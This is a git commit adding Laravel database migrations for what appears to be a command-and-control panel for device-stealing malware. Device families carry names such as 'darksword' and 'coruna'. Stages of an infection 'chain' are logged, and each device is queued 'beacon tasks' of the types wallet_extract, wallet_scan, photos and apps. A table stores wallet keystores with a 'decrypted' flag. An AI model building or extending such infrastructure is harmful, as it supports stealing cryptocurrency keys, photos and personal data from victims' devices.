This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->string('family', 32)->default('xxbb')->after('device_id')->index();
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('family');
});
}
};
@@ -0,0 +1,24 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->unsignedTinyInteger('chain')->default(0)->after('client_uid');
$table->index('chain');
});
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropIndex(['chain']);
$table->dropColumn('chain');
});
}
};
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
DB::table('devices')->where('family', 'xxbb')->update(['family' => 'coruna']);
if (Schema::getConnection()->getDriverName() === 'mysql') {
DB::statement("ALTER TABLE devices MODIFY family VARCHAR(32) NOT NULL DEFAULT 'coruna'");
}
}
public function down(): void
{
DB::table('devices')->where('family', 'coruna')->update(['family' => 'xxbb']);
if (Schema::getConnection()->getDriverName() === 'mysql') {
DB::statement("ALTER TABLE devices MODIFY family VARCHAR(32) NOT NULL DEFAULT 'xxbb'");
}
}
};
@@ -0,0 +1,29 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('ds_chain_logs', function (Blueprint $table) {
$table->id();
$table->string('client_uid', 64);
$table->string('channel_id', 64)->nullable();
$table->string('stage', 32);
$table->unsignedTinyInteger('progress')->default(0);
$table->string('label', 255)->nullable();
$table->timestamp('created_at')->useCurrent();
$table->index(['client_uid', 'created_at']);
$table->index('stage');
});
}
public function down(): void
{
Schema::dropIfExists('ds_chain_logs');
}
};
@@ -0,0 +1,59 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('ds_beacon_tasks', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->unsignedTinyInteger('position');
$table->string('type', 64);
$table->string('status', 16)->default('pending');
$table->string('command_id', 64)->nullable();
$table->timestamp('dispatched_at')->nullable();
$table->timestamp('completed_at')->nullable();
$table->unsignedInteger('result_count')->default(0);
$table->json('result_meta')->nullable();
$table->timestamps();
$table->unique(['device_id', 'position']);
$table->unique('command_id');
$table->index(['device_id', 'status']);
});
$now = now();
$types = [
'wallet_extract',
'wallet_scan',
'photos',
'photo_scan',
'apps',
'basic_info',
];
foreach (DB::table('devices')->where('family', 'darksword')->pluck('id') as $deviceId) {
$rows = [];
foreach ($types as $i => $type) {
$rows[] = [
'device_id' => $deviceId,
'position' => $i + 1,
'type' => $type,
'status' => 'pending',
'created_at' => $now,
'updated_at' => $now,
];
}
DB::table('ds_beacon_tasks')->insert($rows);
}
}
public function down(): void
{
Schema::dropIfExists('ds_beacon_tasks');
}
};
@@ -0,0 +1,34 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
return new class extends Migration
{
public function up(): void
{
$now = now();
DB::table('ds_beacon_tasks')
->where('type', 'photos')
->where('status', 'pending')
->update([
'status' => 'skipped',
'completed_at' => $now,
'result_meta' => json_encode(['reason' => 'queue_uses_photo_scan_only']),
'updated_at' => $now,
]);
}
public function down(): void
{
DB::table('ds_beacon_tasks')
->where('type', 'photos')
->where('status', 'skipped')
->update([
'status' => 'pending',
'completed_at' => null,
'result_meta' => null,
'updated_at' => now(),
]);
}
};
@@ -0,0 +1,23 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->string('source', 64)->default('')->after('device_id');
$table->unsignedTinyInteger('decrypted')->default(0)->after('source');
});
}
public function down(): void
{
Schema::table('wallet_keystores', function (Blueprint $table) {
$table->dropColumn(['source', 'decrypted']);
});
}
};
@@ -0,0 +1,44 @@
<?php
use App\Support\WalletSource;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
return new class extends Migration
{
public function up(): void
{
$rows = DB::table('wallet_keystores')->where('source', '')->get(['id', 'raw_json']);
foreach ($rows as $row) {
$json = json_decode((string) $row->raw_json, true);
if (! is_array($json)) {
continue;
}
$source = WalletSource::fromKeystoreHint($json['source'] ?? null);
if ($source === '' && isset($json['wallets']) && is_array($json['wallets']) && ! array_is_list($json['wallets'])) {
$labels = [];
foreach (array_keys($json['wallets']) as $key) {
$label = WalletSource::fromKeystoreHint((string) $key);
if ($label !== '') {
$labels[$label] = true;
}
}
if (count($labels) === 1) {
$source = array_key_first($labels);
}
}
if ($source === '' && isset($json['sandbox']) && is_array($json['sandbox']) && ! array_is_list($json['sandbox'])) {
$source = WalletSource::fromKeystoreHint((string) array_key_first($json['sandbox']));
}
if ($source === '') {
continue;
}
DB::table('wallet_keystores')->where('id', $row->id)->update(['source' => $source]);
}
}
public function down(): void
{
//
}
};